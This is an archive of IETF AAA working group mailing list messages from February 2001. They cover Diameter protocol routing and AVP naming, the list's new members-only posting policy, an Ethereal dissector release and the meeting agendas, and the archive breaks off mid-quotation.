cms3.etri.re.kr with Internet Mail Service (5.5.2653.19) id ; Fri, 16 Feb 2001 10:22:07 +0900 Message-ID: <21B2FBDAE847D411A8BA009027A128B9E41AB7@cms3.etri.re.kr> From: haenamu@etri.re.kr To: aaa-wg@merit.edu Subject: [AAA-WG]: test Date: Fri, 16 Feb 2001 10:22:06 +0900 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C097B6.E032EDD0" Sender: owner-aaa-bof@merit.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C097B6.E032EDD0 Content-Type: text/plain; charset="euc-kr" sorry, everyone ------_=_NextPart_001_01C097B6.E032EDD0 Content-Type: text/html; charset="euc-kr" test

sorry, everyone

------_=_NextPart_001_01C097B6.E032EDD0-- From owner-aaa-bof@merit.edu Mon Feb 19 13:11:47 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA10704 for ; Mon, 19 Feb 2001 13:11:47 -0500 (EST) Received: by segue.merit.edu (Postfix) id 5F8B25DED6; Mon, 19 Feb 2001 13:06:59 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id DA8965DEDB; Mon, 19 Feb 2001 13:06:58 -0500 (EST) Received: from web1.merit.edu (web1.merit.edu [198.108.62.192]) by segue.merit.edu (Postfix) with ESMTP id A40835DED6 for ; Mon, 19 Feb 2001 13:06:53 -0500 (EST) Received: (from web@localhost) by web1.merit.edu (8.9.3/8.9.1) id NAA06634 for aaa-wg@merit.edu; Mon, 19 Feb 2001 13:06:53 -0500 (EST) Date: Mon, 19 Feb 2001 13:06:53 -0500 From: William Bulley To: aaa-wg@merit.edu Subject: [AAA-WG]: RECENT CHANGE to "members only" Message-ID: <20010219130653.K5719@web1.merit.edu> Mail-Followup-To: aaa-wg@merit.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1us Sender: owner-aaa-bof@merit.edu Precedence: bulk To combat the SPAM growth industry, recently Merit changed the submission policy for the aaa-wg@merit.edu mailing list. This was done in concurrence with the Working Group chair. Since then some members have complained that they cannot post. I show over six hundred listed members for aaa-wg (some are local exploders, some are archivers). It may be that your address in that list is different from the one you are using to post. If you are having trouble posting to the aaa-wg list, one solution is to unsubscribe and resubscribe. If you have any questions, let me know. Regards, web... -- William Bulley Manager of Software Engineering Merit Network, Inc. Email: web@merit.edu Building One, Suite 2000 Phone: (734) 764-9430 4251 Plymouth Road Fax: (734) 647-3185 Ann Arbor, Michigan 48105-2785 "We're not C++ programmers. There is one program written in C++ in OpenBSD, out of 300 megabytes of source code." - Theo deRaadt, father and principal archtitect of the OpenBSD operating system. From owner-aaa-bof@merit.edu Mon Feb 19 14:35:05 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA12830 for ; Mon, 19 Feb 2001 14:35:04 -0500 (EST) Received: by segue.merit.edu (Postfix) id E643F5DE3B; Mon, 19 Feb 2001 14:32:00 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id D41935DE3A; Mon, 19 Feb 2001 14:32:00 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 661065DE39 for ; Mon, 19 Feb 2001 14:31:59 -0500 (EST) Received: from interlinknetworks.com (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with ESMTP id 19A4774; Mon, 19 Feb 2001 14:32:11 -0500 (EST) Message-ID: <3A9174F5.3070308@interlinknetworks.com> Date: Mon, 19 Feb 2001 14:33:09 -0500 From: Wei Wang Organization: Interlink Networks, Inc. User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.16-3 i686; en-US; 0.7) Gecko/20010119 X-Accept-Language: en, zh-CN, zh-TW, zh MIME-Version: 1.0 To: Bob Kopacz Cc: Pat Calhoun , David Spence , Aaa-Wg Subject: Re: [diameter] Re: [AAA-WG]: Message Forwarding and Routing Proposed text References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Bob Kopacz wrote: > Hi Pat and Dave, > > Here's some thoughts: > > > 1. Rename some of the AVPs, for clarification. > > a. Since you have an Origin-Realm AVP, rename Routing-Realm to > Destination-Realm. > > b. Since the "-Realm" part of Origin-Realm and Destination-Realm > clarifies the content, rename the Destination AVP to > Destination-DN (=destination domain name) or Destination-FQDN. > > c. Rename the Host-Name AVP to Origin-DN (or Origin-FQDN). > This seems a more accurate name, as Host-Name might suggest the > server's name. > > So now we have a nice symmetric set of AVPs: > Origin-Realm, Destination-Realm, Origin-DN, and Destination-DN. > > Also, the Error-Reporting-NAI AVP, if it still exists, might > become the Error-Reporting-DN AVP. I don't like the "DN" somehow -- maybe because "DN" means DistinguishedName in the directory world. FQDN may be okay. But why not just say "Host", since a FQDN identifies a host or hosts. > 2. Require that Destination-Realm, if known, must be included in > every Request/Query/Indication message. > > This means the NAS, when building a request, would extract the > realm portion of the User-Name and create the Destination-Realm. > > My thinking is that this provides some benefits: > > a. User-Name is not involved in routing, so we have one less AVP > player in the routing game. > > b. Things are simpler for hops along the way. Instead of fishing > around for an optional Routing-Realm, falling back to the > User-Name, and parsing the User-Name for the realm, a server just > looks for Routing-Realm. > > Even if the Routing-Realm isn't present, it's no use looking at > the User-Name. User-Name will either not be present, or will not > include a realm. > > If Routing-Realm is not present in the Request sent by the NAS, > then the first hop proxy fills it in. The Routing-Realm might not > be present in the NAS's Request because (i) the Request has been > sent before the NAS has answered the call, or (ii) this is a login > request, so the user name has no realm portion. So the User-Name is still involved in routing, although probably only for the first hop proxy. > c. User-Name is not so overloaded. User-Name is used for > identifying the user, but isn't used in routing. > > > 3. So my understanding of the routing rules becomes: > > a. REQUESTs must contain Origin-Realm, Destination-Realm if > known, and Origin-DN. > > Routing is by Destination-Realm, which the first hop proxy fills > in if the NAS omitted this AVP. > > The NAS's Request contains no Route-Record AVPs. > > The Request that the home server receives contains N Route-Record > AVPs, where N = the number of proxies. The first hop proxy should also be able to fill in the Origin-Realm and Origin-DN(-Host) if missing, since it should know about those for sure. Right? Regards, -- Wei Wang mailto:weiwang@interlinknetworks.com Interlink Networks, Inc. http://www.interlinknetworks.com [Tel] 734-821-1204 [Fax] 734-821-1235 From owner-aaa-bof@merit.edu Mon Feb 19 14:50:30 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA13188 for ; Mon, 19 Feb 2001 14:50:30 -0500 (EST) Received: by segue.merit.edu (Postfix) id 9417C5DE2E; Mon, 19 Feb 2001 14:47:28 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 6C8DA5DE2A; Mon, 19 Feb 2001 14:47:28 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 244C65DEFC for ; Mon, 19 Feb 2001 14:47:16 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA17395; Mon, 19 Feb 2001 11:47:11 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA10517; Mon, 19 Feb 2001 11:47:11 -0800 (PST) Received: from mordor (mordor [129.146.120.122]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id LAA17051; Mon, 19 Feb 2001 11:47:08 -0800 (PST) Date: Mon, 19 Feb 2001 11:42:57 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: Re: [diameter] Re: [AAA-WG]: Message Forwarding and Routing Proposed text To: Wei Wang Cc: Bob Kopacz , Pat Calhoun , David Spence , Aaa-Wg In-Reply-To: "Your message with ID" <3A9174F5.3070308@interlinknetworks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Sorry I never responded to this original e-mail (just occured to me now) > > So now we have a nice symmetric set of AVPs: > > Origin-Realm, Destination-Realm, Origin-DN, and Destination-DN. > > > > Also, the Error-Reporting-NAI AVP, if it still exists, might > > become the Error-Reporting-DN AVP. > > I don't like the "DN" somehow -- maybe because "DN" means > DistinguishedName in the directory world. FQDN may be okay. But > why not just say "Host", since a FQDN identifies a host or hosts. I decided upon *-FQDN. > > > 2. Require that Destination-Realm, if known, must be included in > > every Request/Query/Indication message. > > > > This means the NAS, when building a request, would extract the > > realm portion of the User-Name and create the Destination-Realm. > > > > My thinking is that this provides some benefits: > > > > a. User-Name is not involved in routing, so we have one less AVP > > player in the routing game. > > > > b. Things are simpler for hops along the way. Instead of fishing > > around for an optional Routing-Realm, falling back to the > > User-Name, and parsing the User-Name for the realm, a server just > > looks for Routing-Realm. > > > > Even if the Routing-Realm isn't present, it's no use looking at > > the User-Name. User-Name will either not be present, or will not > > include a realm. > > > > If Routing-Realm is not present in the Request sent by the NAS, > > then the first hop proxy fills it in. The Routing-Realm might not > > be present in the NAS's Request because (i) the Request has been > > sent before the NAS has answered the call, or (ii) this is a login > > request, so the user name has no realm portion. > > So the User-Name is still involved in routing, although probably > only for the first hop proxy. It never is. The Destination-Realm is always used, and MUST be present in ANY message that can be proxied. > > > c. User-Name is not so overloaded. User-Name is used for > > identifying the user, but isn't used in routing. > > > > > > 3. So my understanding of the routing rules becomes: > > > > a. REQUESTs must contain Origin-Realm, Destination-Realm if > > known, and Origin-DN. > > > > Routing is by Destination-Realm, which the first hop proxy fills > > in if the NAS omitted this AVP. > > > > The NAS's Request contains no Route-Record AVPs. > > > > The Request that the home server receives contains N Route-Record > > AVPs, where N = the number of proxies. > > The first hop proxy should also be able to fill in the > Origin-Realm and Origin-DN(-Host) if missing, since it should know > about those for sure. Right? But why make special cases for the proxy. These AVPs are mandatory in ALL messages. PatC From owner-aaa-bof@merit.edu Mon Feb 19 22:14:19 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA21711 for ; Mon, 19 Feb 2001 22:14:19 -0500 (EST) Received: by segue.merit.edu (Postfix) id 2C6605DDAB; Mon, 19 Feb 2001 22:13:56 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 11E465DE20; Mon, 19 Feb 2001 22:13:56 -0500 (EST) Received: from newman.frascone.com (frascone.com [216.62.83.25]) by segue.merit.edu (Postfix) with SMTP id CB3E15DDAB for ; Mon, 19 Feb 2001 22:13:53 -0500 (EST) Received: (qmail 15638 invoked by uid 500); 20 Feb 2001 03:13:52 -0000 Date: Mon, 19 Feb 2001 21:13:52 -0600 From: David Frascone To: diameter@diameter.org Cc: aaa-wg@merit.edu Subject: [AAA-WG]: New Ethereal Dissector Available Message-ID: <20010219211351.E15178@newman.frascone.com> Mail-Followup-To: diameter@diameter.org, aaa-wg@merit.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-encrypt-payload: no Sender: owner-aaa-bof@merit.edu Precedence: bulk I have updated the Ethereal dissector for Diameter. Ethereal is a graphical network packet analyzer. Think of it as tcpdump or snoop on steroids. It not only captures the packets, but also displays them graphically, letting you walk through each AVP. I use Ethereal a *lot* when I'm debugging Diameter traffic. The new version (checked into the CVS repository today) will work with the current draft over TCP. SCTP is *not* supported, but probably will be in the next week or two. Its only shortcoming is TCP. Under heavy traffic, TCP will pack multiple requests into a single TCP packet, and even fragment requests. The Diameter dissector in Ethereal assumes one packet per TCP packet. So, it is great for debugging normal request-reply messages, but has problems with floods of packets (like with the Sun Ping Extension) For instructions on getting the CVS tree, go to http://www.ethereal.com Let me know if you have any questions, or any problems with the Diameter dissector in Ethereal. Later, --Dave From owner-aaa-bof@merit.edu Tue Feb 20 22:54:04 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA04729 for ; Tue, 20 Feb 2001 22:54:04 -0500 (EST) Received: by segue.merit.edu (Postfix) id 700545DD93; Tue, 20 Feb 2001 22:53:48 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 5684E5DDA3; Tue, 20 Feb 2001 22:53:48 -0500 (EST) Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by segue.merit.edu (Postfix) with ESMTP id 24E9B5DD93 for ; Tue, 20 Feb 2001 22:53:47 -0500 (EST) Received: from iadserve0.iad.eng.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: iadserve0.iad.eng.us.uu.net [153.39.152.19]) id QQkdgx03840; Wed, 21 Feb 2001 03:53:46 GMT From: stuartb+ietf-aaa@UU.NET Received: from localhost by iadserve0.iad.eng.us.uu.net with ESMTP (peer crosschecked as: stuartb@localhost) id QQkdgx17226; Tue, 20 Feb 2001 22:53:21 -0500 (EST) Date: Tue, 20 Feb 2001 22:53:20 -0500 (EST) To: aaa-wg@merit.edu Cc: poised@lists.tislabs.com Subject: Re: [AAA-WG]: RECENT CHANGE to "members only" In-Reply-To: <20010219130653.K5719@web1.merit.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk I think the AAA working group needs to discuss and rethink the recent change of the mailing list status to members-only submission. Last Tuesday I attempted to send a few messages to the working group for consideration, however these messages have apparently gone nowhere. On Thursday, I tried posting them again before leaving town for an extended weekend. Given the tight working group milestone schedule, I don't think we should be putting blocks into working group communication at this time. If this message makes it successfully to the AAA WG I will once again resubmit those old messages. There has been recent discussion about moderation and members-only posting policies on both the main IETF and the poised working group mailing list on this issue (see subjects "Mail sent to midcom" and "More member-only anti-spam"). That discussion included a number of reasons for not using a members-only policy along with some suggestions about how a members-only mailing list should run. I'll note the following issues with regard to the aaa-wg list: - The list became members-only without any notification. There has now been notification to the current subscribers. - The mailing list software does not send any response back to the sender of rejected messages. I needed to wait a "reasonable" amount of time to decide that my messages were not actually making it through, thus further delaying the posting process. - Rejected messages don't seem to go to a moderator for approval. Nor is the mailing list owner apparently made aware of the rejected messages. - I am subscribed to the IETF AAA WG mailing list with an email address different from my main email address. I use this alternate address to enable better sorting of my incoming email and prefer that my email address remain listed this way. - Other postings are not making it to the list. In particular, but don't assume it is limited to, messages from Internet-Drafts@ietf.org have not been making it to the list. I see the following messages missing from the working group archives: Subject: I-D ACTION:draft-ietf-aaa-diameter-accounting-00.txt Subject: I-D ACTION:draft-ietf-aaa-diameter-00.txt Subject: I-D ACTION:draft-ietf-aaa-diameter-framework-00.txt Subject: I-D ACTION:draft-ietf-aaa-diameter-impl-guide-00.txt Subject: I-D ACTION:draft-ietf-aaa-diameter-mobileip-00.txt Subject: I-D ACTION:draft-ietf-aaa-diameter-nasreq-00.txt These messages are pretty important to current working group activities and were sent on February 12. - There have also been numerous messages recently which have been crossposted between the aaa-wg mailing list and the diameter mailing list. The new policy prevents responses made by subscribers to only the diameter mailing list from making it to the aaa-wg mailing list (and its archives). There also is (or at least was) a similar members-only policy on the diameter mailing list which poses interesting interactions between the mailing lists. In the past the AAA WG has worked closely with roamops and other ietf working groups where there were other crosspostings which would have been rejected by the new policy. - As indicated below, some of the official mailing list members are archive processes and local list exploders. People who read the mailing list content via those processes are also currently unable to send messages to the mailing list. I have not seen discussion of these last three issues on the ietf or poised mailing list and would think them as important considerations when deciding to make a mailing list members-only. [Note: This message is being sent with munged "from" information in order for it to meet aaa-wg posting requirements. Mail sent to that address will go into my AAA folder and does not receive the same priority as mail sent to my primary email address. I am currently monitoring my AAA folder so will see responses there fairly quickly, but that is not always the case. Therefore, use the address below for anything you want to be sure I see.] Stuart -- Stuart A Barkley email: stuartb@uu.net On Mon, 19 Feb 2001, William Bulley wrote: > Date: Mon, 19 Feb 2001 13:06:53 -0500 > From: William Bulley > To: aaa-wg@merit.edu > Subject: [AAA-WG]: RECENT CHANGE to "members only" > > To combat the SPAM growth industry, recently Merit changed > the submission policy for the aaa-wg@merit.edu mailing list. > This was done in concurrence with the Working Group chair. > > Since then some members have complained that they cannot > post. I show over six hundred listed members for aaa-wg > (some are local exploders, some are archivers). It may > be that your address in that list is different from the > one you are using to post. > > If you are having trouble posting to the aaa-wg list, one > solution is to unsubscribe and resubscribe. If you have > any questions, let me know. > > Regards, > > web... > > -- > William Bulley Manager of Software Engineering > Merit Network, Inc. Email: web@merit.edu > Building One, Suite 2000 Phone: (734) 764-9430 > 4251 Plymouth Road Fax: (734) 647-3185 > Ann Arbor, Michigan 48105-2785 > > "We're not C++ programmers. There is one program written in C++ > in OpenBSD, out of 300 megabytes of source code." - Theo deRaadt, > father and principal archtitect of the OpenBSD operating system. From owner-aaa-bof@merit.edu Wed Feb 21 00:44:37 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA06111 for ; Wed, 21 Feb 2001 00:44:37 -0500 (EST) Received: by segue.merit.edu (Postfix) id 4C1C95DE33; Wed, 21 Feb 2001 00:44:19 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 3C5E35DDA8; Wed, 21 Feb 2001 00:44:19 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id 4EFAA5DDC1 for ; Wed, 21 Feb 2001 00:44:17 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1L5bWv20467 for ; Tue, 20 Feb 2001 21:37:40 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: AAA WG Interim Minutes Posted Date: Tue, 20 Feb 2001 21:45:17 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit The AAA WG met in San Diego on February 7, 2001. The Interim meeting minutes are posted below: http://www.drizzle.com/~aboba/aaa-interim/Interim7Feb01.txt Thanks to Pat Calhoun, Dave Mitton, Dave Spence and Bob Kopacz for acting as scribes. Presentations are available below: http://www.drizzle.com/~aboba/aaa-interim/ From owner-aaa-bof@merit.edu Wed Feb 21 10:18:58 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA29504 for ; Wed, 21 Feb 2001 10:18:58 -0500 (EST) Received: by segue.merit.edu (Postfix) id A1F745DE7E; Wed, 21 Feb 2001 10:14:32 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id BF8275DE84; Wed, 21 Feb 2001 10:14:30 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id 50FA75DE6A for ; Wed, 21 Feb 2001 10:14:13 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1LF7Xv19519 for ; Wed, 21 Feb 2001 07:07:33 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: Draft Agenda for IETF 50 Date: Wed, 21 Feb 2001 07:15:21 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Here is a preliminary agenda for IETF 50. If you have any items you'd like to get on the agenda, please send them to me or Dave. Authentication, Authorization and Accounting WG (AAA) ====================================================== CHAIRS: Bernard Aboba Dave Mitton AGENDA: Monday, March 19, 2001, 1930-2200 Minute Takers & Bluesheets Agenda Bashing Review of WG milestones (5 minutes) Review of Document Progress (5 minutes) Discussion of Interim Meeting decisions, Dave Mitton (10 minutes) TRANSPORT AAA transport profile, Bernard Aboba (20 minutes) http://www.ietf.org/internet-drafts/draft-ietf-aaa-transport-01.txt SECURITY AAA Security Overview, Bernard Aboba (10 minutes) Kerberos for DIAMETER End-to-end security, Kaushik Narayan (30 minutes) http://www.ietf.org/internet-drafts/draft-kaushik-radius-sec-ext-05.txt CMS for DIAMETER End-to-End security, Stephen Farrell (30 minutes) http://www.ietf.org/internet-drafts/draft-calhoun-diameter-strong-crypto-06. txt Where do we go from here? (Chairs & ADs) Friday, March 23, 2001, 9000 - 1130 DATA MODELLING SMIng and DIAMETER, J. Schoenwaelder (30 minutes) http://www.ietf.org/internet-drafts/draft-ietf-sming-00.txt http://www.ietf.org/internet-drafts/draft-ietf-sming-modules-00.txt http://www.ietf.org/internet-drafts/draft-ietf-sming-inet-modules-00.txt http://www.ietf.org/internet-drafts/draft-schoenw-sming-diameter-00.txt AAA Data Modelling, David Spence (30 minutes) http://www.ietf.org/internet-drafts/draft-spence-aaa-nas-data-model-00.txt http://www.ietf.org/internet-drafts/draft-spence-aaaarch-objmsg-00.txt DIAMETER Data Modelling proposal, Erik Guttman (30 minutes) http://www.ietf.org/internet-drafts/draft-ietf-aaa-solutions-01.txt Data Modelling Discussion and wrapup (10 minutes) RESEARCH UPDATE (5 minutes) John Vollbrecht From owner-aaa-bof@merit.edu Wed Feb 21 12:13:04 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA03238 for ; Wed, 21 Feb 2001 12:13:04 -0500 (EST) Received: by segue.merit.edu (Postfix) id 62C445DEA5; Wed, 21 Feb 2001 12:06:18 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 95CB35DE9F; Wed, 21 Feb 2001 12:06:17 -0500 (EST) Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by segue.merit.edu (Postfix) with ESMTP id 196C05DEC4 for ; Wed, 21 Feb 2001 12:05:09 -0500 (EST) Received: from iadserve0.iad.eng.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: iadserve0.iad.eng.us.uu.net [153.39.152.19]) id QQkdiy01423 for ; Wed, 21 Feb 2001 17:05:08 GMT From: stuartb+ietf-aaa@UU.NET Received: from localhost by iadserve0.iad.eng.us.uu.net with ESMTP (peer crosschecked as: stuartb@localhost) id QQkdiy05532 for ; Wed, 21 Feb 2001 12:04:43 -0500 (EST) Date: Wed, 21 Feb 2001 12:04:43 -0500 (EST) To: aaa-wg@merit.edu Subject: Re: [AAA-WG]: Message Forwarding and Routing Proposed text Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk On Mon, 12 Feb 2001, Patrice Calhoun wrote: > > I missed the new Origin-Realm AVP, I guess I only read the first > > 50 or 60 emails you guys exchanged. It seems like an Origin-Realm > > AVP would be just the ticket to complete the routing picture, unless > > there are more complicated routing situations. > > It is a rather complicated problem, but it looks like we have it > nailed down. If someone has a more complicated routing situation, > then I would like to hear about it. Otherwise, I think we have all > cases handled. I would really hate to have to introduce additional > complexity :( What about a host which is running multiple diameter processes? We now have lots of routing being performed based upon some form of host name, but what if a Diameter proxy winds up communicating with a Diameter server on the same machine? Does the Diameter server notice that the Record-Route AVP has it own hostname in it and assume a loop? How about multiple client processes running on one machine which end up communicating with the same server? Can either client process handle unsolicited requests from the server? Can a response go back to either client process? It also looks to me like a diameter process (either client or server) will be doing lots of hostname to ip address and ip address to host name conversions. Perhaps the Host-Name AVP in the Device-Reboot-Ind message should be defined to be the value which is used and verified in the Record-Route and related AVPs. This issue may have already been addressed in recent proposed updates. Stuart -- Stuart A Barkley email: stuartb@uu.net [resend. previous attempt seemed to go into a blackhole.] From owner-aaa-bof@merit.edu Wed Feb 21 12:19:56 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA03415 for ; Wed, 21 Feb 2001 12:19:55 -0500 (EST) Received: by segue.merit.edu (Postfix) id 4F1B75DE92; Wed, 21 Feb 2001 12:07:30 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id F311D5DE8F; Wed, 21 Feb 2001 12:07:28 -0500 (EST) Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by segue.merit.edu (Postfix) with ESMTP id 2DB255DEA2 for ; Wed, 21 Feb 2001 12:07:09 -0500 (EST) Received: from iadserve0.iad.eng.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: iadserve0.iad.eng.us.uu.net [153.39.152.19]) id QQkdiy04649 for ; Wed, 21 Feb 2001 17:07:08 GMT From: stuartb+ietf-aaa@UU.NET Received: from localhost by iadserve0.iad.eng.us.uu.net with ESMTP (peer crosschecked as: stuartb@localhost) id QQkdiy05580 for ; Wed, 21 Feb 2001 12:06:43 -0500 (EST) Date: Wed, 21 Feb 2001 12:06:43 -0500 (EST) To: aaa-wg@merit.edu Subject: Re: [AAA-WG]: Re: Host-Name and Destination-NAI AVPs Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk On Mon, 12 Feb 2001, Patrice Calhoun wrote: > I think that one of the fundamental problems with RADIUS is it's > lack of specification in proxying. I believe that it doesn't hurt > to "suggest" how a proxy can route packets, and let the more > experienced developers come up with better scheme. This way we can > assume that all Diameter implementations will at least do what the > protocol was intended to do. There have been numerous assumptions about how proxies should work. I think one of the biggest problem with RADIUS is an assumed proxy functionality based upon doing minimal manipulation of AVPs. Diameter carries this flaw even further by attempting to mix proxy behavior specification into the base protocol. For example, the Host-Name AVP is defined to be carried unchanged through proxies. This behavior is really be dependent upon the type of proxy being deployed and should not be required (I note draft-aaa-diameter-00.txt does not actually say "MUST not modify" but instead says "proxy servers do not modify"). If we can identify useful protocol elements which might help some proxy environments, then by all means define them in the base protocol. However, don't use them to enforce certain proxy behavior. If the Diameter specification is only suggesting how a proxy can route packets, should that discussion be in the standards track base protocol specification? A separate non standards track (experimental?) document showing possible proxying situations could be a useful document to suggest how proxies might operate. Lets not mix "might choose to do it this way" with the standards track protocol behavior. By moving the proxy behavior into a separate document we can simplify the base protocol specification considerably. Implementors of NASes or other Diameter clients don't really need to be overly concerned about the proxy behavior. Likewise implementors of Diameter Servers should also not need to be worried about the subtle difficulties of proxies. In fact, protocol-wise, proxy implementors only need to be interested in the single hop behavior of each side of the proxy. Stuart -- Stuart A Barkley email: stuartb@uu.net [resend. previous attempts seemed to go into a blackhole.] From owner-aaa-bof@merit.edu Wed Feb 21 12:22:31 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA03502 for ; Wed, 21 Feb 2001 12:22:31 -0500 (EST) Received: by segue.merit.edu (Postfix) id 479215DE8F; Wed, 21 Feb 2001 12:09:59 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 2C6AC5DF1C; Wed, 21 Feb 2001 12:09:59 -0500 (EST) Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by segue.merit.edu (Postfix) with ESMTP id E6B5A5DE8F for ; Wed, 21 Feb 2001 12:09:53 -0500 (EST) Received: from iadserve0.iad.eng.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: iadserve0.iad.eng.us.uu.net [153.39.152.19]) id QQkdiy00182 for ; Wed, 21 Feb 2001 17:09:53 GMT From: stuartb+ietf-aaa@UU.NET Received: from localhost by iadserve0.iad.eng.us.uu.net with ESMTP (peer crosschecked as: stuartb@localhost) id QQkdiy05682 for ; Wed, 21 Feb 2001 12:09:28 -0500 (EST) Date: Wed, 21 Feb 2001 12:09:28 -0500 (EST) To: aaa-wg@merit.edu Subject: [AAA-WG]: Interesting wording: Session-Termination Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk This isn't really all that important, but I did find it amusing that Session-Termination-Ind "requests" that a session be terminated while Session-Termination-Request "informs" that a session is being terminated. Extract from draft-ietf-aaa-diameter-00.txt: 3.6.1 Session-Termination-Ind The Session-Termination-Ind (STI), indicated by the Command-Code set to 274, MAY be sent by any Diameter entity to the access device to request that a particular session be terminated. 3.6.2 Session-Termination-Request The Session-Termination-Request (STR), indicated by the 